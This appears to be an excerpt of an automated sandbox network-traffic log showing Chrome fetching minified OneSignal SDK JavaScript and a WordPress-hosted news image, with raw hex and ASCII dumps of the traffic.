72 Data Ascii: then(r,a)}c((n=n.apply(e,t\|\|[])).next())})}},function(e,t,i){"use strict";i.d(t,"a",function(){return n});class n{static shouldLog(){try{if("undefined"==typeof window\|\|void 0===window.localStorage)return!1;const e=window.localStorage.getItem("loglevel");r
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 41 7d 29 2c 69 2e 64 28 74 2c 22 78 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4d 7d 29 2c 69 2e 64 28 74 2c 22 66 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4e 7d 29 2c 69 2e 64 28 74 2c 22 7a 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 78 7d 29 2c 69 2e 64 28 74 2c 22 75 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6b 7d 29 2c 69 2e 64 28 74 2c 22 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6a 7d 29 2c 69 2e 64 28 74 2c 22 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 7d 29 2c 69 2e 64 28 74 2c 22 70 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 44 7d 29 2c 69 2e 64 28 74 2c 22 6d 22 2c 66 75 6e 63 Data Ascii: ion(){return A}),i.d(t,"x",function(){return M}),i.d(t,"f",function(){return N}),i.d(t,"z",function(){return x}),i.d(t,"u",function(){return k}),i.d(t,"n",function(){return j}),i.d(t,"d",function(){return _}),i.d(t,"p",function(){return D}),i.d(t,"m",func
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 5c 2e 29 7b 33 7d 28 3f 3a 32 35 5b 30 2d 35 5d 7c 32 5b 30 2d 34 5d 5b 30 2d 39 5d 7c 5b 30 31 5d 3f 5b 30 2d 39 5d 5b 30 2d 39 5d 3f 7c 5b 61 2d 7a 30 2d 39 2d 5d 2a 5b 61 2d 7a 30 2d 39 5d 3a 28 3f 3a 5b 5c 78 30 31 2d 5c 78 30 38 5c 78 30 62 5c 78 30 63 5c 78 30 65 2d 5c 78 31 66 5c 78 32 31 2d 5c 78 35 61 5c 78 35 33 2d 5c 78 37 66 5d 7c 5c 5c 5b 5c 78 30 31 2d 5c 78 30 39 5c 78 30 62 5c 78 30 63 5c 78 30 65 2d 5c 78 37 66 5d 29 2b 29 5c 5d 29 2f 29 7d 66 75 6e 63 74 69 6f 6e 20 79 28 65 2c 74 2c 69 29 7b 6c 65 74 20 6e 3b 69 66 28 21 28 6e 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 29 3a 65 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 60 24 7b 65 7d 20 Data Ascii: \.){3}(?:25[0-5]\|2[0-4][0-9]\|[01]?[0-9][0-9]?\|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]\|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])/)}function y(e,t,i){let n;if(!(n="string"==typeof e?document.querySelector(e):e))throw new Error(`${e}
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 66 69 6e 64 20 65 6c 65 6d 65 6e 74 20 77 69 74 68 20 73 65 6c 65 63 74 6f 72 20 22 24 7b 65 7d 22 60 29 3b 72 65 74 75 72 6e 20 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 74 29 7d 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 29 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 74 29 3b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 60 24 7b 65 7d 20 6d 75 73 74 20 62 65 20 61 20 43 53 53 20 73 65 6c 65 63 74 6f 72 20 73 74 72 69 6e 67 20 6f 72 20 44 4f 4d 20 45 6c 65 6d 65 6e 74 20 6f 62 6a 65 63 74 2e 60 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 29 7b 72 65 74 75 72 6e 20 64 2e 61 2e 67 65 74 43 6f 6e 73 6f 6c 65 53 74 79 6c 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 29 7b Data Ascii: find element with selector "${e}"`);return i.classList.contains(t)}if("object"==typeof e)return e.classList.contains(t);throw new Error(`${e} must be a CSS selector string or DOM Element object.`)}function C(e){return d.a.getConsoleStyle(e)}function T(e){
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 29 20 77 69 74 68 20 6e 6f 20 74 61 73 6b 3a 20 22 2c 69 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 7b 63 6f 6e 73 74 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3b 69 66 28 6e 2e 6c 65 6e 67 74 68 3e 30 29 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 6e 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 6b 28 6e 5b 65 5d 2c 74 2c 69 29 7d 65 6c 73 65 20 69 66 28 73 3d 65 2c 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 3d 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 73 29 29 66 6f 72 28 6c 65 74 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 6b 28 65 5b 6e 5d 2c 74 2c 69 29 3b 65 6c 73 65 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 Data Ascii: ) with no task: ",i),"string"==typeof e){const n=document.querySelectorAll(e);if(n.length>0)for(let e=0;e<n.length;e++)k(n[e],t,i)}else if(s=e,"[object Array]"===Object.prototype.toString.call(s))for(let n=0;n<e.length;n++)k(e[n],t,i);else{if("object"!=ty
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 74 49 6e 73 74 61 6e 63 65 28 29 7b 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 3d 6e 75 6c 6c 7d 73 74 61 74 69 63 20 67 65 74 20 73 69 6e 67 6c 65 74 6f 6e 49 6e 73 74 61 6e 63 65 28 29 7b 72 65 74 75 72 6e 20 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 4e 61 6d 65 7c 7c 28 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 4e 61 6d 65 3d 22 4f 4e 45 5f 53 49 47 4e 41 4c 5f 53 44 4b 5f 44 42 22 29 2c 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 7c 7c 28 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 3d 6e 65 77 20 4f 28 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 4e 61 6d 65 29 29 2c 4f 2e 64 61 74 61 62 61 73 65 49 6e 73 74 61 6e 63 65 7d 73 74 61 74 69 63 20 61 70 70 6c 79 44 62 52 65 73 75 6c 74 46 69 Data Ascii: tInstance(){O.databaseInstance=null}static get singletonInstance(){return O.databaseInstanceName\|\|(O.databaseInstanceName="ONE_SIGNAL_SDK_DB"),O.databaseInstance\|\|(O.databaseInstance=new O(O.databaseInstanceName)),O.databaseInstance}static applyDbResultFi
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 6f 29 3d 3e 4f 62 6a 65 63 74 28 6e 2e 61 29 28 74 68 69 73 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 66 75 6e 63 74 69 6f 6e 2a 28 29 7b 6d 2e 61 2e 67 65 74 57 69 6e 64 6f 77 45 6e 76 28 29 21 3d 3d 67 2e 61 2e 53 65 72 76 69 63 65 57 6f 72 6b 65 72 26 26 62 2e 62 2e 69 73 55 73 69 6e 67 53 75 62 73 63 72 69 70 74 69 6f 6e 57 6f 72 6b 61 72 6f 75 6e 64 28 29 26 26 6d 2e 61 2e 67 65 74 54 65 73 74 45 6e 76 28 29 3d 3d 3d 75 2e 61 2e 4e 6f 6e 65 3f 4f 6e 65 53 69 67 6e 61 6c 2e 70 72 6f 78 79 46 72 61 6d 65 48 6f 73 74 2e 6d 65 73 73 61 67 65 28 4f 6e 65 53 69 67 6e 61 6c 2e 50 4f 53 54 4d 41 4d 5f 43 4f 4d 4d 41 4e 44 53 2e 52 45 4d 4f 54 45 5f 44 41 54 41 42 41 53 45 5f 50 55 54 2c 5b 7b 74 61 62 6c 65 3a 65 2c 6b 65 79 70 61 74 68 3a 74 7d 5d 2c 6e Data Ascii: o)=>Object(n.a)(this,void 0,void 0,function*(){m.a.getWindowEnv()!==g.a.ServiceWorker&&b.b.isUsingSubscriptionWorkaround()&&m.a.getTestEnv()===u.a.None?OneSignal.proxyFrameHost.message(OneSignal.POSTMAM_COMMANDS.REMOTE_DATABASE_PUT,[{table:e,keypath:t}],n
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 2a 28 29 7b 72 65 74 75 72 6e 20 79 69 65 6c 64 20 74 68 69 73 2e 67 65 74 28 22 49 64 73 22 2c 22 65 78 74 65 72 6e 61 6c 55 73 65 72 49 64 41 75 74 68 48 61 73 68 22 29 7d 29 7d 73 65 74 45 78 74 65 72 6e 61 6c 55 73 65 72 49 64 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 6e 2e 61 29 28 74 68 69 73 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 66 75 6e 63 74 69 6f 6e 2a 28 29 7b 63 6f 6e 73 74 20 69 3d 66 2e 62 2e 67 65 74 56 61 6c 75 65 4f 72 44 65 66 61 75 6c 74 28 65 2c 22 22 29 2c 6e 3d 66 2e 62 2e 67 65 74 56 61 6c 75 65 4f 72 44 65 66 61 75 6c 74 28 74 2c 22 22 29 3b 22 22 3d 3d 3d 69 3f 79 69 65 6c 64 20 74 68 69 73 2e 72 65 6d 6f 76 65 28 22 49 64 73 22 2c 22 65 78 74 65 72 6e 61 6c 55 73 65 72 49 64 22 29 3a 79 Data Ascii: nction(){return yield this.get("Ids","externalUserIdAuthHash")})}setExternalUserId(e,t){return Object(n.a)(this,void 0,void 0,function(){const i=f.b.getValueOrDefault(e,""),n=f.b.getValueOrDefault(t,"");""===i?yield this.remove("Ids","externalUserId"):y
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 6b 65 79 3a 22 64 65 66 61 75 6c 74 55 72 6c 22 2c 76 61 6c 75 65 3a 65 2e 64 65 66 61 75 6c 74 4e 6f 74 69 66 69 63 61 74 69 6f 6e 55 72 6c 7d 29 29 2c 28 65 2e 64 65 66 61 75 6c 74 4e 6f 74 69 66 69 63 61 74 69 6f 6e 54 69 74 6c 65 7c 7c 22 22 3d 3d 3d 65 2e 64 65 66 61 75 6c 74 4e 6f 74 69 66 69 63 61 74 69 6f 6e 54 69 74 6c 65 29 26 26 28 79 69 65 6c 64 20 74 68 69 73 2e 70 75 74 28 22 4f 70 74 69 6f 6e 73 22 2c 7b 6b 65 79 3a 22 64 65 66 61 75 6c 74 54 69 74 6c 65 22 2c 76 61 6c 75 65 3a 65 2e 64 65 66 61 75 6c 74 4e 6f 74 69 66 69 63 61 74 69 6f 6e 54 69 74 6c 65 7d 29 29 2c 6e 75 6c 6c 21 3d 65 2e 6c 61 73 74 4b 6e 6f 77 6e 50 75 73 68 45 6e 61 62 6c 65 64 26 26 28 79 69 65 6c 64 20 74 68 69 73 2e 70 75 74 28 22 4f 70 74 69 6f 6e 73 22 2c 7b 6b 65 Data Ascii: key:"defaultUrl",value:e.defaultNotificationUrl})),(e.defaultNotificationTitle\|\|""===e.defaultNotificationTitle)&&(yield this.put("Options",{key:"defaultTitle",value:e.defaultNotificationTitle})),null!=e.lastKnownPushEnabled&&(yield this.put("Options",{ke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49836	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:07 UTC	639	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240327_0128.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	572	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/webp Content-Length: 12462 Connection: close Last-Modified: Wed, 27 Mar 2024 13:09:34 GMT Expires: Sat, 28 Mar 2026 01:09:34 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240327_0128.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "c373e19e418b8a37" Vary: Accept X-nc: HIT dca 4 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	797	IN	Data Raw: 52 49 46 46 a6 30 00 00 57 45 42 50 56 50 38 20 9a 30 00 00 90 a9 00 9d 01 2a 44 01 a0 00 3e 6d 2e 92 46 a4 22 a1 a1 2b 74 7c e8 80 0d 89 65 3c 34 1f 08 22 7c 9f 87 bb 7a be b7 cb 19 f3 fd 32 ff 68 de 1f e6 4f f6 cb d5 c3 d3 b7 f7 ad fa 0d ea 5f f2 76 a6 1c 6d fd 37 82 be 56 7e 2b fc 37 f9 af 55 ac 69 f6 af a8 ef 7c f9 c6 fe 7f f6 5b c7 3f 8e df 49 7b 02 fb 8b cf 8f f0 3b 76 36 cf f4 df b4 fe c1 de e2 fd ff fe c7 a3 87 e7 79 b9 fb df f9 9f 60 3f 32 7c 10 7e ff ff 4f d8 27 fa 67 f9 df fd 9e cf ff ec 79 57 fd a3 fe 57 b0 c7 4c ef 49 70 63 74 f9 23 f4 1c 80 b9 da e0 45 00 18 35 83 72 ec c7 f2 94 91 0e e5 8f 14 4a 27 5a 78 0b 70 38 87 df a7 12 64 ea 29 ae fa 65 cc fa 8f ea 6f 69 1e 6c 02 b5 8a 70 c6 85 4b 69 f2 51 ba 3c 31 29 1e d1 82 2e 58 0a 10 3f 85 e2 1c Data Ascii: RIFF0WEBPVP8 0*D>m.F"+t\|e<4"\|z2hO_vm7V~+7Ui\|[?I{;v6y`?2\|~O'gyWWLIpct#E5rJ'Zxp8d)eoilpKiQ<1).X?
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 38 9d 86 1d 8a 5a 5e c2 54 d1 3e 3c 91 fc 45 c4 27 4a 9b fc bf 6c 65 2b 3e 55 69 d3 84 25 08 27 5b 3b 80 f5 cd 46 81 dd 11 b2 c2 20 f4 4c ef 56 d8 46 d4 8f 9d e2 24 37 e0 7b 1a 49 8f f8 8e 99 42 61 ea 7b 6c 04 6d e7 d4 d4 c4 6e bf 97 d4 d7 9a 38 67 f5 79 2d cb 8d 35 92 8e 31 b7 e1 ed 07 22 59 08 65 e5 af 0b 2d a6 46 96 08 54 74 9f 8a 80 e3 98 0f 9d b0 5a c8 95 23 55 b0 ce fc 24 76 55 f7 89 9f dd 01 1f 76 0b 9e e1 13 ec 48 1f 32 eb aa 04 1f cc 66 60 1c dc 1b 5d 4c 6e d3 57 87 d2 de 4c 8c a8 b5 5c 0c c7 fe db 64 91 bc a8 37 03 b2 81 d9 84 e8 ab 29 0d 46 c4 4a 5b c8 e7 57 1d c3 72 bf 02 cf 8a 12 bb 20 1b 28 dc bb 89 4f 1d 04 5a 3b aa 6f d8 91 0d 95 da 77 4b 59 9f 4e 34 6d 53 55 c8 06 15 ae 33 bb 88 0a 81 e2 67 e7 14 15 32 20 2f af 66 b9 ab 8a af e8 52 d4 fe Data Ascii: 8Z^T><E'Jle+>Ui%'[;F LVF$7{IBa{lmn8gy-51"Ye-FTtZ#U$vUvH2f`]LnWL\d7)FJ[Wr (OZ;owKYN4mSU3g2 /fR
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: ec 54 f0 3c e4 b2 07 ea fb ce dd 0f 7b 39 d7 51 8f 1a 45 57 45 ba ae d5 c3 11 f8 69 d3 2e 09 34 44 e2 48 6d 60 ef 31 61 60 8a 10 1d f9 ff 4e be ce 55 34 00 ed ad 7d e2 e4 82 d2 ac 9d ca 9d 39 d0 6f 6b 4f cf 78 5e 7e 22 bd 3a df 05 b5 39 fa e0 ea 97 55 af 31 22 a1 74 d3 42 9c 9c e5 87 db dd 18 cd 8c c3 88 82 e0 e8 c3 14 82 9e 89 40 68 32 73 33 0a db 00 a4 ba e3 e7 f4 e4 96 ae 3e 62 d3 3e 7a b7 89 e7 2d e0 40 62 91 1d 92 8f ce 0c d0 2d 8f 6f 69 07 1e a8 87 7e 87 67 d2 a4 7b 66 6c fa 2c 29 ee 3e f2 99 78 85 79 cb a6 ef 44 48 f7 6b fc d7 4e 7e f1 84 9c a8 d5 16 45 09 07 32 72 bc 64 bb 3a 89 b2 4d 5b 0c b2 95 6e 20 4e 48 dc db 12 4c f0 ea f5 0d 2b 49 1e fc b0 29 fc 5e 0f d6 4b bf 9d d2 ed 9f aa b0 dc 5f fd 28 9b 09 21 6d 5a b0 a1 51 b9 b9 eb 48 d9 0e fc 65 67 Data Ascii: T<{9QEWEi.4DHm`1a`NU4}9okOx^~":9U1"tB@h2s3>b>z-@b-oi~g{fl,)>xyDHkN~E2rd:M[n NHL+I)^K_(!mZQHeg
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: b4 f7 20 ae a3 87 1a 96 9f 94 9c bb e8 d6 cb 6c 8d 99 e3 fc 20 06 54 ac 2c d5 9d fc 87 f7 24 73 89 28 1a c8 01 ec 8c 2b 61 47 cd c2 e5 4b 1d e3 1f 09 25 1c 86 54 32 b5 98 00 a9 11 07 35 43 fe 49 7a 63 a5 5f 3d 5e 43 f6 fd 41 0c 45 00 cc 59 73 9c 2d 6e 5d 3b 3c 57 b2 e2 c1 99 de 8f 92 a7 f6 7f 7c 56 38 47 63 a6 43 15 ac 95 dd 1b 27 56 f0 59 e2 bd ea d1 c4 4f 77 03 c3 76 ea e7 af 52 3f 09 70 56 8e e3 d0 19 50 e8 50 a4 ae a2 87 5a 01 48 44 ca 01 ef f1 bc 89 31 33 04 b7 cd 88 a1 bd de 04 7d 56 1c 05 25 1b ee ce cb 7b 5d 21 b0 af fa 09 7c ac 0f d8 53 5a 8b 5d 94 c5 5a 4b e6 14 81 35 bb 9f c1 da 84 3d ba 29 09 ad 84 cf 78 ae 61 fa 07 1b c0 26 d3 41 61 b8 9b 48 52 6a 15 1b 76 e8 43 d8 16 f5 42 a3 38 06 dd a7 d2 20 2a 91 98 7e 89 21 e9 5f 16 19 11 9d 17 f5 80 f5 Data Ascii: l T,$s(+aGK%T25CIzc_=^CAEYs-n];<W\|V8GcC'VYOwvR?pVPPZHD13}V%{]!\|SZ]ZK5=)xa&AaHRjvCB8 *~!_
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: b3 cc 9c 26 1e 7e 4e 10 64 b3 a9 cc 98 18 fb c9 0c 4b 9c c4 cc 76 e9 fa 56 e2 68 45 23 e1 fd a2 5b 11 68 e5 cd 2b 86 79 78 65 0d 57 35 f1 27 2e 43 23 9f 81 25 b9 bd 88 fa 56 88 3c 88 e3 04 ca 5a ab 47 f8 db 65 fb 1a 12 b4 b8 25 4a b4 b6 34 1b 61 0f 75 2a 51 1a f0 07 90 b5 fa 59 42 c4 0e 18 b6 f4 7b 26 ad f0 38 f3 5a 88 b7 52 69 0d f4 96 43 2d c3 38 92 0e e6 9a 2c 65 0b b0 c0 a8 e5 cb c6 ff 4d 9d e5 b3 ba f6 b5 04 a4 cf 99 f6 85 a8 d0 2d 0a 52 c7 10 fd 82 10 13 d2 74 1e 60 c1 f1 9d dd 00 cd 7c 85 10 0c 39 50 44 a5 6b b3 a3 60 d2 1a b8 f9 46 ce 78 54 76 bb 0c c7 50 0f 18 1b f8 9e c9 44 7c 6c a9 b7 24 31 96 80 ae cd 4c 28 62 4f 1d f8 ef 58 64 e2 60 a5 ff a1 97 50 d5 83 c6 74 48 6a 16 f3 dd 28 87 46 d7 a4 a7 09 c5 29 7c 68 60 cf b5 43 4d ff ea 21 d2 5c e6 bf Data Ascii: &~NdKvVhE#[h+yxeW5'.C#%V<ZGe%J4au*QYB{&8ZRiC-8,eM-Rt`\|9PDk`FxTvPD\|l$1L(bOXd`PtHj(F)\|h`CM!\
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: b2 9c 5e 40 22 61 27 1d 63 aa 5f 10 1f b5 9b 90 b7 73 b8 66 01 cf b7 36 5c ba ea 26 5e a3 59 89 88 72 5d 62 cc b8 9b a9 3d 28 58 6f dd ac 5c 81 10 cb 2e 15 2c ba 4f e5 04 80 c7 b1 3a f9 93 fb d2 5a c2 f2 48 d6 0b c4 4e d4 4f 52 0f f7 84 cc af 81 0e 5e 00 ff 5b 11 9b e1 77 b4 9b f9 0c 88 58 f3 a0 0c bf fc 35 0b 00 4f ab a7 55 f5 d4 7a e9 de 05 7d ba 19 90 80 16 7d 61 cb 7c c3 d3 ae 72 04 7d 7f 9e a3 9c 49 8c f1 88 2e a3 49 eb ea f7 89 f0 89 3d b1 20 a0 6d 86 67 bf 9f 77 d5 51 ca eb 86 7b e2 17 90 a2 54 3a f2 68 b5 46 45 23 2a 12 48 e7 a8 03 f0 b6 87 99 de 35 ce 67 7c 98 51 ad 66 72 a8 6b 7d 0b c7 e8 30 cc 2f 7a 2f 46 f1 ec 75 0e 00 65 ac dc d9 b6 76 66 6c 80 8f 30 7a 58 e3 4c bf 91 ea 92 c8 d0 89 a9 2d 60 ab c6 cd 4c 5d 58 59 02 5c fb 14 f8 cd 3d d2 df 2e Data Ascii: ^@"a'c_sf6\&^Yr]b=(Xo\.,O:ZHNOR^[wX5OUz}}a\|r}I.I= mgwQ{T:hFE#*H5g\|Qfrk}0/z/Fuevfl0zXL-`L]XY\=.
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 4f c0 b5 bb 39 f8 5b 5e 3f e3 31 36 a0 16 68 ae a1 06 8c 61 42 5b 67 ab 74 4f 8f 6a 9b da a1 a0 f5 fd 7e 81 3a 3f 83 fa cc e9 df cf aa 30 8d 16 9a fb 16 e3 ab 67 b9 a2 78 bf 7c dd 45 93 93 42 13 7e 54 54 e5 0a bf 75 8c 72 54 19 89 22 87 66 d3 da 15 c9 b6 2d 4a 7c c9 67 6c 14 35 1d d1 21 3e 24 db f9 47 45 7e 4f 0e 23 d9 6a 3d c9 0e 8e fa 0c cb 31 74 12 ba 1f 2e 09 56 8c 2c 8e a1 17 0f 31 5c 64 61 a7 66 ba 36 1e 6f 82 cf 88 e9 6f 65 37 51 fa f6 ad 57 9d c6 35 31 cd 5b 21 2d 2a 1e f5 ec 14 7d 6d d9 60 5c f8 bc e3 04 4e 05 dd 07 02 97 95 50 1a ec 2e 92 22 e4 58 1f a9 ed 4e 5b 98 d3 d9 dd fe 8b 5f ea 75 0d e6 55 ff 5d 56 91 e7 ee ba 10 07 04 40 bd 02 d9 ce 77 c3 f4 e9 bc 5e 48 2d 44 ef 24 95 78 81 b2 7b c0 fc 8c fe 9a 8b c0 8e 3d 4e 28 56 9f 2c a3 d7 4c c0 3f Data Ascii: O9[^?16haB[gtOj~:?0gx\|EB~TTurT"f-J\|gl5!>$GE~O#j=1t.V,1\daf6ooe7QW51[!-*}m`\NP."XN[_uU]V@w^H-D$x{=N(V,L?
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 0a 5d 29 b7 16 51 e9 fa cb 33 16 06 48 33 a3 3b 8c fa 3c 50 5b dd 60 70 e8 d0 89 97 26 fd fc d5 8b b5 f9 db 20 31 48 aa f0 a4 d3 7a 16 84 71 ba 19 5e c1 5b eb fb 58 11 e5 5b d1 ab 2e f2 52 4c 25 17 50 e3 34 82 a5 f7 d3 43 f3 f7 88 6c c5 9d 27 87 d8 21 3c a8 e9 b3 bc 3f 5c 56 cd 50 a7 dc e4 ff be b9 ba 8a 05 0f 61 d5 d8 67 64 54 1b d2 09 85 06 21 6b 27 03 47 28 25 62 0c fd 81 49 d2 d9 6f fa bf df 37 f1 a9 0f 9a 03 1d ab 40 41 dc 8b c6 d7 9c ae ba f2 f3 9f 8e df 5e 33 1e c3 f6 0a 5e 7d fd 71 da 78 50 4d 34 cc 02 9b 3d bc 43 71 da 61 3e f9 3d 72 1b 7f 7f f8 f4 0c cd c8 6d 0f e8 11 3e 10 5c 95 01 9c b1 1f d7 34 48 63 e5 00 7a fb 66 48 2b 2a a4 0c 6c 07 c5 87 60 c6 ee 10 16 1e 58 25 7a 2e 1c d1 69 35 2f 27 13 9e 35 f3 f3 29 61 37 f0 99 c5 75 42 ab 39 3e 2c 63 Data Ascii: ])Q3H3;<P[`p& 1Hzq^[X[.RL%P4Cl'!<?\VPagdT!k'G(%bIo7@A^3^}qxPM4=Cqa>=rm>\4HczfH+*l`X%z.i5/'5)a7uB9>,c
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: ec 31 ee 1d d6 33 f5 42 ff 88 2d a9 06 46 5d cb 7b 27 2d c8 b5 d0 f3 b4 29 b1 d9 77 aa 27 00 04 5e 12 db b5 3c 3a fd f5 93 3e fe e7 3b 07 75 8e 12 66 42 79 fb 62 3d 94 16 27 a0 ea d9 98 1f d2 84 a5 61 db 8f be 97 1a 88 43 a6 ff 94 8f 83 75 80 fa 74 b4 cc 29 92 f2 e0 53 97 7b 41 d3 5e c5 a6 6f f0 6f 50 38 7c f8 16 5a dc 29 2c d1 b7 07 4a 31 3b 70 46 df ce 97 c8 b8 5e 9e d4 b0 8f 3d 76 e3 13 bd 99 6d ca fb 70 1d 8b 51 25 d3 b7 5b 38 14 2a 67 aa a6 56 dd ee 57 f8 3a a0 7c 8f 1e 9a 3c e1 ab 7c 08 c8 af b5 ee e5 7b 8f 9f c0 56 63 f2 57 5f bc 41 df cb 99 95 56 61 a9 a8 16 ce 0e c9 bc 42 e5 13 96 47 17 25 0d 11 1f 81 a3 a1 ae c7 e3 74 1e ec 64 a5 c3 96 83 b2 ca bb 86 30 5a 96 e4 7c e1 fe c8 8b 69 e8 f7 20 eb 19 85 7e b8 80 ca dc 91 b0 0a b8 f4 75 e2 54 83 95 0f Data Ascii: 13B-F]{'-)w'^<:>;ufByb='aCut)S{A^ooP8\|Z),J1;pF^=vmpQ%[8*gVW:\|<\|{VcW_AVaBG%td0Z\|i ~uT
2024-03-28 08:51:08 UTC	713	IN	Data Raw: fa e4 55 2a 61 27 18 5b 7f 25 d3 2c 4a f6 84 0b 97 58 ab c5 1a c4 a0 52 6e 10 33 1c 96 44 52 aa ab f5 93 fd 4a fa 57 a5 90 d9 95 63 dc 21 e0 7a 15 62 cf 1d fb 24 d5 23 60 59 96 27 19 e5 41 3a c5 f7 e5 e1 b7 26 7a f9 6f c3 61 d8 16 fd 96 da 91 07 c7 79 b1 0c 1a 30 c5 fe 70 74 35 b9 29 1c 73 8c 97 73 02 c0 3d 45 26 33 13 4d bb 95 07 74 83 10 95 81 9f 83 86 50 37 bf 74 6a 1f 9b 70 83 f5 62 4a 4e 12 2b 69 1c 31 64 19 74 c0 96 80 0f 4f 87 18 fa 0f 6d 61 8d 0e 25 17 94 e6 c2 cc b5 1b ae f9 2d bf 3d a8 46 4f 27 c4 ab da 52 11 37 0d 64 83 53 d5 13 81 0c 63 df 8a 69 bc a8 2c 79 5c 5e 1f d9 b9 5e db 3c e8 79 44 5c 9c 2f 86 c3 c4 36 51 cc 13 52 d3 0f 0b c3 ab d0 ef 8e f7 55 fa 7b 91 d4 5f 3a a2 e2 b0 14 a0 c7 d8 65 7b af 60 09 40 ba 6c 11 04 38 02 83 a6 48 e5 db 25 Data Ascii: U*a'[%,JXRn3DRJWc!zb$#`Y'A:&zoay0pt5)ss=E&3MtP7tjpbJN+i1dtOma%-=FO'R7dSci,y\^^<yD\/6QRU{_:e{`@l8H%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49837	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
